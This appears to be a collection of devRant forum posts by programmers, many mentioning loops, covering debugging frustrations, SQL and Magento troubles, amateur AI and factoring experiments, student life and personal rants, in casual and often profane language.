Last thing what made me superbhappy was using stuff without wine and all of the addional shit. Especially using stuff like Afinity Designer and having good looking apps in general. I mean Open source has great tools l sometimes with better functionality. But I found out, that what is pleasure to look at, is pleasure to work with.
To Summarize a bit.
It wasnt that bad as I expected. I see where they are heading with building yet another ecosystem of It just works and that they are aiming at professionals once again.
So I would rate it 6/10, would be 7 if that shit was Posix compatible.
I know that for Balmer is a special place in hell... But with that new CEO, Microsoft at the end may make it to purgatory..5 -
As a beginner at programming, I've never really appreciated or understood the point of a simple for loop until I've had to use an if/else loop 200 times2
-
Heres some research into a new LLM architecture I recently built and have had actual success with.
The idea is simple, you do the standard thing of generating random vectors for your dictionary of tokens, we'll call these numbers your 'weights'. Then, for whatever sentence you want to use as input, you generate a context embedding by looking up those tokens, and putting them into a list.
Next, you do the same for the output you want to map to, lets call it the decoder embedding.
You then loop, and generate a 'noise embedding', for each vector or individual token in the context embedding, you then subtract that token's noise value from that token's embedding value or specific weight.
You find the weight index in the weight dictionary (one entry per word or token in your token dictionary) thats closest to this embedding. You use a version of cuckoo hashing where similar values are stored near each other, and the canonical weight values are actually the key of each key:value pair in your token dictionary. When doing this you align all random numbered keys in the dictionary (a uniform sample from 0 to 1), and look at hamming distance between the context embedding+noise embedding (called the encoder embedding) versus the canonical keys, with each digit from left to right being penalized by some factor f (because numbers further left are larger magnitudes), and then penalize or reward based on the numeric closeness of any given individual digit of the encoder embedding at the same index of any given weight i.
You then substitute the canonical weight in place of this encoder embedding, look up that weights index in my earliest version, and then use that index to lookup the word|token in the token dictionary and compare it to the word at the current index of the training output to match against.
Of course by switching to the hash version the lookup is significantly faster, but I digress.
That introduces a problem.
If each input token matches one output token how do we get variable length outputs, how do we do n-to-m mappings of input and output?
One of the things I explored was using pseudo-markovian processes, where theres one node, A, with two links to itself, B, and C.
B is a transition matrix, and A holds its own state. At any given timestep, A may use either the default transition matrix (training data encoder embeddings) with B, or it may generate new ones, using C and a context window of A's prior states.
C can be used to modify A, or it can be used to as a noise embedding to modify B.
A can take on the state of both A and C or A and B. In fact we do both, and measure which is closest to the correct output during training.
What this *doesn't* do is give us variable length encodings or decodings.
So I thought a while and said, if we're using noise embeddings, why can't we use multiple?
And if we're doing multiple, what if we used a middle layer, lets call it the 'key', and took its mean
over *many* training examples, and used it to map from the variance of an input (query) to the variance and mean of
a training or inference output (value).
But how does that tell us when to stop or continue generating tokens for the output?
Posted on pastebin if you want to read the whole thing (DR wouldn't post for some reason).
In any case I wasn't sure if I was dreaming or if I was off in left field, so I went and built the damn thing, the autoencoder part, wasn't even sure I could, but I did, and it just works. I'm still scratching my head.
https://pastebin.com/xAHRhmfH33 -
Are sql joins a bad practice? :o
I recently did some work on a page for a site ive never worked on cause my boss told me to. So they recently added product detail video urls to a table that has a relationship to the products table. The existing code was querying for the products on that said page and then during the loop that was outputting the products ,there was another query for getting the url for the current iteration/product. Told my coworker that this imo was pretty inefficient way to do it and switched it to a join and did 1 query then output that but his words were "The way it is now maybe ineffecient in your opinion but it works. Also combining inner joins with left or right is not a good practice. If the data is changed upstream the entire query would need to be redone to accommodate the change". Mind you that they query views a lot which are all made from queries that use joins and I'm also pretty sure these views were written by someone who used to be here because these guys are not good at sql or at least that's what there queries show. I'm at the point now where I'm realizing that my boss and this other guy don't give a fuck about efficiency or doing things the right way they just want it "to work". So this coworker changed my query back to the way it was because he said it broke the shopping cart even though that was already broken when I started... What is life? Maybe I'm the stupid one?7 -
My Coding Loop :
while (working) {
coding();
createNewBug();
if (bugs != 0) {
fixTheFuckingBugs();
if (bugs != 0) {
fuckMySelf();
} else {
continueWorking();
}
}
}1 -
My phone got stuck in funky restart boot loop yesterday. The first 2 restarts was odd but after 3 cycles, I started panicking. Went on my PC, googled for all kinds of button combinations of power button, volume button, back button, and home button to get into fastboot, recovery and safe mode to see if I can clear stuff or at least get backup of my stuff. I also tried taking the battery out. Nothing works, except when I factory reset.
Everything was new again and as it booted up, I have to remember to change my authentication keys in LastPass, my private ssh key in Krypt. But fortunately, Google remembered all my apps and suggested if I wanted to install them again since it recognized my phone was an old phone. Thanks for tracking me Google. And now since its a reset, everything is clean, no cache, cookie, and some of my music files are all gone. Well at least its fast like before.2 -
!rant
God damnit, I'm 20 and already got a burn out due to work (fast food job) and school.
I go to school 5 days a week 8 hours a day and I work every weekend 8 hours a day only so I can afford my study better and to be able to afford my internship to Japan next year.
The worst thing is I'm in a endless loop because if I stop with school I need to work full time to pay off my school loan and if I stop my work I can't pay for part of my school and my internship.
If anyone has any tips for me what to do before this ends badly I will gladly hear them2 -
After learning a bit about alife I was able to write
another one. It took some false starts
to understand the problem, but afterward I was able to refactor the problem into a sort of alife that measured and carefully tweaked various variables in the simulator, as the algorithm
explored the paramater space. After a few hours of letting the thing run, it successfully returned a remainder of zero on 41.4% of semiprimes tested.
This is the bad boy right here:
tracks[14]
[15, 2731, 52, 144, 41.4]
As they say, "he ain't there yet, but he got the spirit."
A 'track' here is just a collection of critical values and a fitness score that was found given a few million runs. These variables are used as input to a factoring algorithm, attempting to factor
any number you give it. These parameters tune or configure the algorithm to try slightly different things. After some trial runs, the results are stored in the last entry in the list, and the whole process is repeated with slightly different numbers, ones that have been modified
and mutated so we can explore the space of possible parameters.
Naturally this is a bit of a hodgepodge, but the critical thing is that for each configuration of numbers representing a track (and its results), I chose the lowest fitness of three runs.
Meaning hypothetically theres room for improvement with a tweak of the core algorithm, or even modifications or mutations to the
track variables. I have no clue if this scales up to very large semiprime products, so that would be one of the next steps to test.
Fitness also doesn't account for return speed. Some of these may have a lower overall fitness, but might in fact have a lower basis
(the value of 'i' that needs to be found in order for the algorithm to return rem%a == 0) for correctly factoring a semiprime.
The key thing here is that because all the entries generated here are dependent on in an outer loop that specifies [i] must never be greater than a/4 (for whatever the lowest factor generated in this run is), we can potentially push down the value of i further with some modification.
The entire exercise took 2.1735 billion iterations (3-4 hours, wasn't paying attention) to find this particular configuration of variables for the current algorithm, but as before, I suspect I can probably push the fitness value (percentage of semiprimes covered) higher, either with a few
additional parameters, or a modification of the algorithm itself (with a necessary rerun to find another track of equivalent or greater fitness).
I'm starting to bump up to the limit of my resources, I keep hitting the ceiling in my RAD-style write->test->repeat development loop.
I'm primarily using the limited number of identities I know, my gut intuition, combine with looking at the numbers themselves, to deduce relationships as I improve these and other algorithms, instead of relying strictly on memorizing identities like most mathematicians do.
I'm thinking if I want to keep that rapid write->eval loop I'm gonna have to upgrade, or go to a server environment to keep things snappy.
I did find that "jiggling" the parameters after each trial helped to explore the parameter
space better, so I wrote some methods to do just that. But what I wouldn't mind doing
is taking this a bit of a step further, and writing some code to optimize the variables
of the jiggle method itself, by automating the observation of real-time track fitness,
and discarding those changes that lead to the system tending to find tracks with lower fitness.
I'd also like to break up the entire regime into a training vs test set, but for now
the results are pretty promising.
I knew if I kept researching I'd likely find extensions like this. Of course tested on
billions of semiprimes, instead of simply millions, or tested on very large semiprimes, the
effect might disappear, though the more i've tested, and the larger the numbers I've given it,
the more the effect has become prevalent.
Hitko suggested in the earlier thread, based on a simplification, that the original algorithm
was a tautology, but something told me for a change that I got one correct. Without that initial challenge I might have chalked this up to another false start instead of pushing through and making further breakthroughs.
I'd also like to thank all those who followed along, helped, or cheered on the madness:
In no particular order ,demolishun, scor, root, iiii, karlisk, netikras, fast-nop, hazarth, chonky-quiche, Midnight-shcode, nanobot, c0d4, jilano, kescherrant, electrineer, nomad,
vintprox, sariel, lensflare, jeeper.
The original write up for the ideas behind the concept can be found at:
https://devrant.com/rants/7650612/...
If I left your name out, you better speak up, theres only so many invitations to the orgy.
Firecode already says we're past max capacity!5 -
Mount an azure file share in an app service container? Sounds handy. Nice clicky-draggy wizard to set it up, pick your file share, type a path to mount it to, hit save.
And does it work?
Does it buggery.
And is there a helpful error message so you can see what you've done wrong?
In a pig's arse is there a helpful fucking error message.
"Application error", and a link to some "diagnostic resources" that displays the exact same error message, including the same link, so a link to itself, in an infinite recursive loop of rank, inhuman stupidity.
Let me see what's in the logs. Absolutely fuck all. No, wait! There's the html markup for the fucking useless error message I'm looking at in the browser. So the UI is telling me to fuck off, and the logs are recording that I have been told to fuck off.
But this is Azure. So there isn't just one place to look at the logs, there are many places to look at the logs. And they are all geologically slow and most of them don't work.
It's probably a firewall issue. I'll have a look later on if I can be arsed, but frankly I'd rather be performing cunnilingus on a lion.1 -
Curious to see if anyone else is in this situation: I somehow have become the “infrastructure upgrade guy”. I’m in this constant loop of retrofitting our applications to work with the latest Windows Version or Java Middleware. Or, I’m stuck porting apps from one middleware to another. I guess I got good at this, and now I’m stuck in this constant loop of being the “go to” for all system upgrades/ports, which seem to just be in this endless cycle. It gets me a lot of recognition, but the work is miserable. Anyone else experience something like this, and if so, how did you get out?2
-
Oh this is fun... PSA: do not upgraade to Android Pie if you want root....
Trying to recover again now that after flashing Magisk i get a boot loop....9 -
This SocketIO method emits a message to all users who have joined the same room (conversation ID).
This works if it's a 1-to-1 chat or a group chat with infinite users in the group.
The thing that bothers me is this enhanced for loop. It loops through ALL currently connected users.
- If theres 10 users, sure no big deal
- if theres 1000 users, it has to loop 1000 times
- for N users it loops N times
What if N = 10000? God what if it's 100,000 or 1,000,000.
Imagine having to loop that many times every time you want to send just 1 message.
OR wait i just realized. This shit grabs ALL users -- but within the room ID. Right? Am i trippin balls here
Im now confused (excuse my confusion i coded till 3am last night and im still fried). Is my logic flawed? Have i written this piece of code with good performance or not?38 -
Just went over some of my old horrible code from before i started studying. I litterally went from 104 lines of if/else statements to about 15 lines with loops. Then down to 2 lines with lambdas...
I saved 102 lines of actual code. And the runtime! I had a loop count to 10000 with no body! It helps to study apparently :/ -
IDK if this counts as a meeting
Last year, I was in my first uni year. In this subject, we had to do this project and then have to meet with our teacher to talk about what we've done in it, as a way to see if we really did the work and/or if we both had done it.
So me and my colleague get to the room and sit down. He starts asking questions. My colleague answers. I freeze.
I'm a bit socially awkward and anxious to the point it kinda incapacitates me when I'm subjected to some sort of social pressure (read: evaluations). At some point, the teacher turns to me and says "you haven't been talking. Did you let your colleague do it all by himself?", and I faintly respond "No", so he redirects his questions to me.
To tell the truth I was kinda off the loop for the second part of that project, I barely could get anything done and I felt so bad about it. I'm used to doing all the work so not being able to do anything is so frustrating.
He starts asking me stuff and I forget what I studied for it. I just... forgot. I do not cope well with evaluations where I have to actually talk to people. I do fine on tests.
So he turns to us after the trainwreck that were my answers and says "your work is not good. At all. You may fail the subject. I have to see the first part again, but this isn't looking good for the both of you" (the work was to be delivered in 2 parts). I was crushed. I went home and I just cried out of frustration and fear.
We had a 13 in the work. We both passed the subj. I don't think there was any moment I was so scared to see a grade and so relieved to see that I've made it. -
I wrote a simple Python script to split a Wikipedia page into manageable chunks. But it took a while to load, so I decided to add a loading indicator. Just a few dots appearing and disappearing. How hard could it be?
"Okay, so I just need a few dots as a loading thing."
"Right, so I suppose I'll need a separate thread for this... Better look up Python's threading again"
"So the thread is working, but it keeps printing it out on separate lines"
"Right, that should fix it ... nope."
"I should probably fix the horrible mess here"
"Hmm... maybe if I replace the weird print() calls with all those extra parameters with sys.stdout.write()..."
"Right, that kind of works, but now there's just a permanent row of dots"
"Okay, that's fixed... Ish."
Well, it works now, but there's a weird mess of two \r's and a somewhat odd loop. Oh, and there's more code for the loading indicator than for the actual functionality. This is CLI by the way.7 -
A contains() function for a class to check if there was something in a list. I did not know about the if a in list_b python feature, so I resorted in a loop and a bunch of if/elses.
Efficiency = 01 -
" Under the hood... the program is using a mix of condition-based learning, procedural generation of sentences/questions, and relational queries based on weighted 'topic' identifiers. It can create its own original statements and questions. It is real-time, and it really does 'think' (an internal dialogue feedback loop)." = If Statement
I saw this in the description for an app aclled "Real AI" -
you know what annoys me about this situation the most ?
noone is living an ideal life
in any sense
except a few
but that being said, living less than ideal life if people had not wasted so much time, would have led to certain things becoming better.
example.
if i was out of development work, and had to take a crap job.
and lets say that ended up putting me in a financially unstable situation.
if i had rotten teeth, i could work part time, go to a sliding scale place and fix them one by one
while either educating myself further or looking for a better job because in truth, if i'm accepting a part time job, i must be fucked.
i don't see any longevity in an intensely physical job, I see an early death.
there are not enough paying people to ensure everyone has a skilled job, and truthfully not everyone can, but we have more people than we need to do the unskilled and skilled jobs both so why are we not running with that ?
the best time to do unskilled labor or just labor jobs period is when a person is young and there body is new.
and then not for long or with accommodation considering throwing your back out or fucking up your knees stays with you for life.
everything is so backwards in this country.
people think in terms so frequently these days in 'how can i make someone else suffer for my amusement and see their potential diminished so i feel better about my fucked up pathetic life ?'
or
'how can i get revenge against a person that doesn't deserve it'
or
'how can i ensure other people are totally boned so my charmed life i don't deserve seems satisfying'
its pretty gross as are these people
well fast forward years later and life appears fairly repetitive for alot of people
took a very large of detours here, had some fun, experienced some fucked up horros, saw a few wonders which were mostly based off my ideas, and some that were not.
still i return to what is to be done about our unfair, wasteful system ?
I've always been a fan of removing people's 'excuses' to neglect their children for example.
and definitely blocking all avenues of abuse.
even unintended, or pretended to be unintended.
i also hate people who smell because they don't clean themselves, and use excuses for that
I also hate people who make other people live in a situation where they can't take care of themselves and then try to dominate places they seek refuge because our fucking system sucks.
I also hate that there is more food than people can eat and restaurants closing when there are hungry people.
i also despise that we have more vacant houses in this country than we have family units.
some are just rotting away from neglect.
and i most especially hate people who get off on watching whole landscapes decay.
there is tons of work for the proper people
some of it is hard
some of it is tedious
its these kind of tasks that are necessary
the right spirit and the RIGHT COMPENSATION and the work gets done.. hopefully.
starting out with placing everyone in means to eat and sleep and clean themselves seems the most important.
everything else is icing on the cake, because by and large many people get sick of doing the same exact things, and people hate staring at the wall.
the problem is, there are alot of people who are, due to extreme damages from our modified culture, extremely abnormal, sadistic and untrustworthy around... anyone.
so with more time on their hands, they get bored and turn destructive and antisocial and breed people to be worse.
years I've been preaching this.
same people fly past in man places.
here and there some new fool marches in, eyes sparkling with malevolence, only to get caught in the same eternal loop and be absorbed into it.
i haven't seen one such as myself that I know of, that showed up with every intention of changing their life, becoming friendly with people, finding the things they enjoyed, and improving themselves intellectually, emotionally and socially; searching for an environment filled with more people who would be helpful to this extent, getting a rude awakening and realizing how horrible their country was becoming.
don't know if I should be happy being alone as the only sane person. heh.
I really don't want to be. I just want us to be happy. this is deserved after so much hardship. after seeing how people in general have become.
oh we all have lusts and vices and shortcomings, but the gulf that had grown between ordinary folk and the general population is astoundingly wide.8 -
Concatenation of strings in a loop (in C#). Seriously. It's just so easy and unless you are doing something memory intensive or awful (in which case I am sorry) it really doesn't do much harm if any.
-
I'm tired of taking breaks, only to find bugs IRL.
I draw the line at my grapes throwing an exception!
Debugging the crane game app, my ISPs aggro DHCPv6 query vs their WAN6 scripting and the label printer at Quest Labs was annoying enough.
I don't even know how to tag this.
A day ago I tried ordering a coffee and doughnut on Doordash. I thought, I must be too tired/missing something. Dunkin' Donuts didn't have doughnuts on the menu, despite the header of "Donuts and Bakery", I called them... A few minutes later the reason was found. Their PoS system upgraded, changing the formatting of the doughnut options so a minor bug caused it to show as fully updated, despite actually disabling the doughnut menu options... today it's the weirdest, possibly inappropriate-looking, grape I've ever seen... and I grow 5 varieties of grapes. Maybe if I get drunk enough(wine?) later, I'll be able to not debug or re-engineer anything for a few hours.
Any suggestions on how to stop iterating through a debugging loop IRL 24/7 is certainly welcolmed.
Now, wtf do I do with this, mildy disturbing, grape?7 -
Magento Debugging Horror!
Changing lots of things in magento with no problem. Continuing development for quite sometime. Suddenly decide to clear cache to see affect of a change on a template in frontent. Suddenly magento crashes! There's no error message. No exception log. No log in any file anywhere on the disk. All that happens is that magento suddenly returns you to the home page!
Reverting all the changes to the template. Clear the cache. Nope! Still the same! Why? Because the problem has happened somewhere in your code. Magento just didn't face it, because it was using an older version of your code. How? Because magento 2 even caches code! Not the php opcache. Don't get me wrong. It has it's own cache for code, in a folder called generated. Now that you cleared all the caches including this folder, you just realized that, somewhere something is wrong. But there is no way for you to know where as there is absolutely no exception logged anywhere!
So you debug the code, from index.php, down to the deepest levels of hell. In a normal php code, once the exception happens, you should see the control jumps to an exception handler, there, you can see the exception object and its call stack in your debugger. But that's not the case with magento.
Your debugger suddenly jumps to a function named:
write_close();
That's all. No exception object. No call stack. No way to figure out why it failed. So you decide to debug into each and every step to figure out where it crashes. The way magento renders response to each request is that, it calls a plugin, which calls a plugin loop, which calls another plugin, which calls a list of plugins, which calls a plugin loop, which calls another plugin.....
And if in each step, just by accident, instead of step through, you use the step over command of your debugger, the crash happens suddenly and you end up with the same freaking write_close() function with no idea what went wrong and where the error happened! You spend a whole day, to figure out, that this is actually a bug in core of magento, they simply introduced after your recent update of magento core to the latest STABLE version!!! It was not your mistake. They ruined their own code for the thousandth of time. You just didn't notice it, because as I said, you didn't clear the `generated` folder, therefore using an older version of everything!
Now that after spending 7 hours figuring out what has failed with absolutely no standard way of debugging and within a spaghetti of GOTO commands (Magento calls them plugin), why not report it to github? So you report it with a pull request. This also takes 1 hour of your time. Just to next day get informed that your pull request is rejected because another person already fixed the bug and made the same pull request. It was just not on the latest stable version yet!
So you decide to avoid updating magento as much as possible. Because you know that the next Stable version will make your life and career unstable. But then the customer complains that the Admin Panel is warning him of using old Magento version which might pose SECURITY THREATS! -
Finally finished an algo to check an image for grouping of pixels that will form a rectangular area. I got the grouping to work on one image, but found it was utterly failing on another. I went through every step of the algo and still could not find the solution. The 128x128 image was working, but the 128x16 image was not. I knew it had something to do with the dimensions. Started thinking it was overflowing a buffer somewhere. So I started putting asserts in the functions that abstracted the buffer access. None of the numbers exceeded the proper bounds. It was close to bedtime so I finally gave up. I was tired. Then I realized it wouldn't be until the next evening when I could look at this again. So I got up again and started looking at the code again. I had a loop to check the output of my algo that I did the memory access of the buffer. It too was not fully filling my temp image to show how the algo was working. WTF!
Then I finally realized the flaw:
buffer[x+y*height]
And my test loop to test the algo:
buffer[x+y*ymax]
I kept overlooking the error because I was sure it was right. Also my asserts for the functions to access the buffers? They only checked the inputs x and y. So it didn't help that the math was wrong for reading and writing the buffers. It also worked fine on 128x128 images because the width and height were the same.
It is funny that I struggled with this part. The algo was actually surprisingly easy to formulate. I just looked through every point and checked a buffer to see if that point was used. If not then I would attempt to grow in the x and y direction the shaped of that point based upon pixel color. This was saved in a structure while growing that point. Then when that rectangle could not be grown further the inner loop would continue checking used points again.
I still have work to do to use the data this algo produces. I need to now figure out how to parent the rectangular areas to each other. I will probably use my check buffer to keep track of these rects by an index. Then do adjacent checks to determine parenting. Eventually I will have to extend this algo to 3 dimensions, but that should not be difficult.2 -
Once upon a time aka last week,
Was trying to fix an industrial automation software coded in Codesys. My company's standard library is riddled with bad documentation with a mix of English and German terminology.
Had to find out why a program kept crashing the program upon start up. Long story short and many stressful hours later, I found two functions in the standard library that caused an endless terminal process loop. Had to wrap the function in an 'if statement' so it would only run once. Function should have done this by default. -
So part of my ok assignment was to Code a simple quize game. So I used a while loop to initiate the quiz. One of the constraints was that after 6 questions answered wrong the quize ends and if you make it to the end of the quize it gives you the number of questions you got wrong. 🤣 The damn code always ran to the end despite having gotten 6questions wrong.
The problem ? Turns out I needed a break. 😂😂😂 Pun intended. -
I see a lot of people ranting about programming exams on paper. I acknowledged that not having a texteditor is not ideal. But not having a compiler is essential in testing the students programming skills in the first few courses.To many students are completely dependent on the compiler.
Syntax:
Some students writing C++ code have to try to build their program as many times they have lines because of all the syntax errors they make. Why think about all the ; if your compiler will tell you where they are missing?
Computational thinking:
As a programmer you should be able to look at (your own) code and be able to tell what the result should be. Of course this has its limits, but in the small exam questions they get in the first few courses they should be able to do that. To many first year students write a for loop without thinking about the starting value and the end condition. With the repeated process of running the program, changing the starting value or the end condition randomly they eventually get to the loop they need.
I think people underestimate the value of an exam without being able to compile or run your program. But I like to hear your reactions. -
I just came home from opening of the fiscal year of a small drivers' club and it was quite an amazing life experience.
I got about a 5-times "rise" for a first, small, post-due-time project.
All of the members were so relaxed in one of the most serious moments of an association. We ate, drank beer and had as much fun as possible without break the law and other rules.
The story goes like this:
I was an intern in a website development company as students tend to do. In middle of the internship my teacher asked me if I'd be willing to develop a website to the before mentioned organization.
School will help with the money by being as a middle-man. It wasn't going to pay much, about 120€ or so, it's nothing really for the job, but I said yes for the experience. We organized a meeting, school provided the space, and went straight to the business.
The development went quite well: I got the final design requirements late (there weren't too much), research a lot about CMS:s, ended up with a beta version CMS (a risk), learned it, developed some plugins (not published yet), kept copyrights for most of the work and so on.
I was done _relatively_ quickly with the project and was quite happy with it. Only things still pressing my mind was bugs of the beta CMS, support for the plugins and my somewhat inexperienced graphical design.
Then it hit me, the world. Hosting, domain transfer, certificates, registry agreements. Arrgh. Most of things were fine, I know them. I had luck that I had a technical contact for the club. It would have been a nightmare of it's own otherwise.
We had problems transferring the domain, again, as you do. The other hosting company was to blame. They were the n00bs here. I went trough the law, technical guidance, etc. I was having heavy messaging with my technical contact about it, who was a middle-man for me and the hosting firms.
After a long while loop of waiting, reconfiguring, researching and messaging, until he transfer was finally over.
We had a long while of radio silence after some bug fixes. Until the Christmas came and I was invited to a Christmas party in a cottage, third Christmas party that year. It was great fun. We ate, drank, talked, went to sauna and had a playful adult stiga or sledging competition, etc.
I updated the site yet again, a stable version of the CMS were published. Yess!
Another radio silence came and year changed. It was broken off by a call to the opening of the fiscal year, the same day. This is today, or yesterday by now. This was just after my current company's board game night. I was really busy that day. A whole afternoon of second-hand shopping around the city with a bike. I counted 35 kilometers. Yes I go by bike, don't own a car or have an driving license... Yet.
I wasn't horribly late, around 30 minutes. I started eating and drinking. Free food and beer! They was also late, they should've got trough the business before I got there, before eating. So I ate and listened. Learned more about having business or an association in general. Until my matter came to be heard. They thanked me of the co-operation and made public the change of my reward sum, I WAS GRANTED 500€ REWARD for the work. It's still not an amazing sum in a larger point of view, but I can imagine that it's big deal for a small non-profit organization, which was loosing money. Everybody applauded, every 25 members of the club. I was greatly pleased. I will have to update their site a bit still, but they are going to pay the reward ASAP.
Did I mention that the school works around the taxes, legally. Taxes for the reward, if it were assumed as a wage would be 15%, for me, at the worst case scenario, only for getting the money to my hands.
I was offered another gig at the event, but didn't promise anything yet. I left before sauna, so we didn't get to change contact details. He will find a way to reach me if he really wants so. I'm a busy free man.3 -
Stack overflow is full of useless assholes, like I asked a specific question about a problem I am having that is similar to another problem that exists but it is not the same at all in terms of how to fix and instead of helping I’ve got 2 downvotes on it and a comment linking me to a completely unrelated stylistic based question based on something I SAID I HAD ALREADY TRIED CHANGING IN MY QUESTION!!! Here’s my question btw in case anyone can help here before I smash up my laptop 😑:
I have a piece of code in which I am trying to read in words which have been categorised using a number and then placed in a text file in the following format "word-number-" with a new line for each word. However, despite not mixing cin>> and getline and having tried a number of methods I still cannot get it working.
So far I have attempted using a cin.ignore() call to clear any '\n' char's from the buffer, as well as checking if the file is opening in the first place (it is), and using the >> operator instead throughout my code however I could not get that working either. When I place the get line call inside the condition of the while loop, the while loop doesn't run, however when I make the while loop condition a .eof() call it will run once however when I try to print the text that has been read from the getline call it just prints a blank line.
if(file.is_open()){
while(!file.eof()){
getline(file, text, '-');
count++;
cout<<count<<endl;
cout<<text<<endl;
if(count%2 == 1){
wordBuff = text;
}else if(count%2 == 0){
if(stoi(text) == wordClass){
wordList.push_back(wordBuff);
}
}
}
file.close();
}
While I recognise there are a lot of other questions on this out there I cannot seem to get any of their solutions to work and the vast number being related to people mixing the >> operator and getline doesn't help, so any tips or solutions will be of great help -
So...buffered query kept crashing even though I have a row limit of 10001 on my abstract datatables class. I didn't realize it was buffered because I grab the results in a for loop as a fetch. Well, I tracked it down to being the size of the email content that I'm selecting (and then using strip_tags and substring in PHP before returning to the front-end). So it's totally a catch-22 at this point because if I select let's say...substring 500 characters and most of that is line breaks and other html junk, I may only get a couple characters of normal text (or none at all) after stripping tags and doing a final substring to get the 50 characters of text I want to display. I said screw it and took the email content out of the table all together. You have to view it to see the content now. I should probably be storing a text-only version of the email, but argh..that's a lot of extra data.
-
First and foremost, students should be carefully taught the logic and mentality behind programming. Most of the time I see that the introductory programming courses waste so much energy in teaching the language itself. So students kinda just get fucked cause many people end up ending the course without having actually gained the "programming perspective".
Stop teaching pointers and lambdas and even leave the object oriented stiff till later. If a student doesn't know why we use a For loop then how can they learn anything else.
I believe once that thing in your brain clicks about programming, everything goes smooth from there... kinda :P
Second of all, and this pertains mainly to the engineering and science disciplines.
We need a fundamental and strong mathematical foundation. And no I don't mean taking fucking double integrals. Teach us Linear Algebra, Graph theory, the properties of matrices, and Probability theory.
One of the things I suffered from most and regret in university is having a weak foundation in math and having to spend more time catching myself up to speed.
It's so annoying reading a paper on a new algorithm or method and feeling like an idiot because I can't understand what magic these people did.
Numerical Methods...
Ok this is more deeper, maybe a 2nd year course.
But this is something we take for granted.
Computers don't magically add and subtract and multiply.
They fuck up.
And it'll bite you in the ass if you're not even aware that the computer we all love so much isn't as perfect as we think
Some hardware knowledge.
Probably a basic embedded systems course with arduinos
just so you can get a feel for how our beautiful software actually makes those electrons go weeeeeeeee
And finally
Practice practice
Projects projects
like honestly
just give me the internet and some projects
Ill learn everything else
Projects are the best motivation
I hate this purely theoretical approach
where we memorize or read code and write these stupid exams
Test what we are capable off
make us do projects that take sleepless nights and litres of coffee
And judge our methods, documentation, team work, and output
Team work skills and tools (VCS, communicating, project management, etc.)
Documentation and Reporting
Properly
:)
maybe even with LaTeX :D
Yeah that's the gist of whats on my mind at the moment regarding an ideal computer science education
At least the foundations
The rest I leave it to the next dude. -
Developers !
I need fast advice!
If i want to have a domain like instagram e.g.
domain.com/first-lastname1
domain.com/first-lastname2
domain.com/first-lastname3
...
What is the best way to define those routes? I am using only angular. Its just a landing page so no backend frameworks are needed or used.
So if i have about 50 first-last names (and i might add even a lot more), is it a good idea to create 50 different components in angular where each component links to the different person identity of those /first-lastnameN routes?
Or should i have only 1 component and loop through names from a list and display them somehow? Because i dont know how to do this way And change the URL route into a different name7 -
Is inserting a break statement anywhere but in a switch statement a horrible idea and results almost always in bad code? Why? My lecture notes say so. lol.
e.g.:
loop(someJsonDataSet){
if(company.getName().equals("xyz")){
break; // don't process records of this
company
}
}14 -
"There are people so important to maintaining code that the internet would break if they were hit by a bus. (Computer security folks literally call this the “bus factor.”) "
https://hbr.org/2017/07/...
What do you all think of these ?
(Personally I think there is fluff to what he says. But there are loop holes to his argument. Not entirely true. And HBR should run stories through experts in field before publishing tho)3 -
this is not a solution, what the fuck https://github.com/seanmonstar/...
modern era, where a "safe" language can't even do basic bitch network calls right and then you write a retrying loop macro to get around it. yeah I had that already because I didn't have access to reqwest configurations and I think the library I was using to wrap the reqwest calls to the API was doing something wrong. turns out the fucking accepted by a damned GPT bot solution is to JUST KEEP RETRYING?!
WHY IS IT SENDING TERMINATE CONNECTION MESSAGES RANDOMLY
unfathomable. one of the most popular crates on rust. maybe they should care less about their cult and more about their ridiculous-to-have bugs
remember kids, javascript is the devil, JavaScript is ugly, messy, you have brain cancer if you use JavaScript. at least it can do network calls properly without you having to make retry loop MACROS (because the generic system sucks) all over your code!2 -
while(true) {
$us->me();
}
Damn it. I'm stuck on an infinite loop and can't get out. I'm starting to feel unmotivated on our first project as a team. No financial support from client. Disastrous planning phase. I really do want to drop this project. But I won't because of my dev friends, we started this together. Another thing that frustrates me, they don't know how to use Git. If there are changes on the system, we have to transfer it through flash drive. [ill teach them]. I don't wanna go to the point that this project becomes toxic. So frustrating. This too shall pass.
Does every start have to be this hard and frustrating? -
I've got Linux 3DS working now, but I have a size limit of 60MB for my zImage. Is there a way to mount a file via loop as, say, the root directory, so the image in RAM is unloaded and it executes from SD/NAND? If not, anything similar?
-
!dev philosophical
Quality vs Opinion
I have a feeling that these things have always been at odds with each other and now with the constant connectedness it has just become more apparent that most people don’t understand the difference (or even realize there is a difference for that matter)
Let’s face it. Most people have awful taste. They listen to whatever new music their radio station decides was hot. They watch whatever show everyone else is watching. They are manipulated by large scale news organizations...
Basically, most people are sheep.
The problem is that sheep are a dangerous combination of loud and stupid. Giving these loud stupid sheep a platform to amplify their voice is a bad idea for a society, but a great tool for the pigs to manipulate them.
“Frightened though they were, some of the animals might possibly have protested, but at this moment the sheep set up their usual bleating of "Four legs good, two legs bad," which went on for several minutes and put an end to the discussion.”
This isn’t confined to one political party or view, it isn’t geographic, it isn’t based on education, it isn’t based on wether a person is ethical or not...
It’s universal.
You can translate “four legs good, two legs bad” into Agent Orange and his followers chanting “lock her up” just as well as it could be translated into the angry leaders of the modern feminist movement.
In both cases (both on opposite ends of the ethical spectrum) you have the loudest dumb, angry sheep getting the even dumber sheep to chant along, wether it is good for them or not.
Now to loop this back. The problem is that dumb sheep are emotional. They truly believe that they are NOT dumb and that their opinions and emotions are a measure of quality.
I FEEL bad, and you are talking to me, so you must BE bad.
I don’t LIKE this amazingly well made movie, so it must BE bad.
And anyone else who has a different opinion is just wrong. Anyone who try’s to explain the merits of the other side is either my enemy or is stupid.
^^^
Their opinion, incorrect.
————
Now for the tough part...
Most likely, based on probability, you are a sheep.
Yes, you! The smartest person you know. The guy/girl who has a degree or masters of a PHD. The person who builds amazing software. You! Are. A. Sheep. And you are dangerous to the world.
To put a cherry on top.
No, you opinions are not important. Your feelings are fucking meaningless. Your morals are worthless. Your voice has as much value and a loose asshole fart from a fat guy trapped in a deep well in Siberia.
But don’t get down about this. It’s doesn’t make you any less of a person. Remember that almost every person who has ever lived in history has been a sheep. They have chanted one useless, dangerous, misguided, harmful chant after another through the ages.
————
To those of you who try not to be sheep. Just keep trying to get a little better every day. When someone says...
“We do it this way because we have always done it this way”
... be skeptics. Explore the merits and logic of the situation.
And if you are tired of being led by stupid sheep then save some money, build something cool and start your own business.
Just remember, you will always need the sheep. They will be your employees, your friends, your bosses, your investors etc.
Treat them well, don’t hate them, and if you ever find yourself leading a pack of sheep then try to keep a healthy distance from their chanting while leading them down the right path.
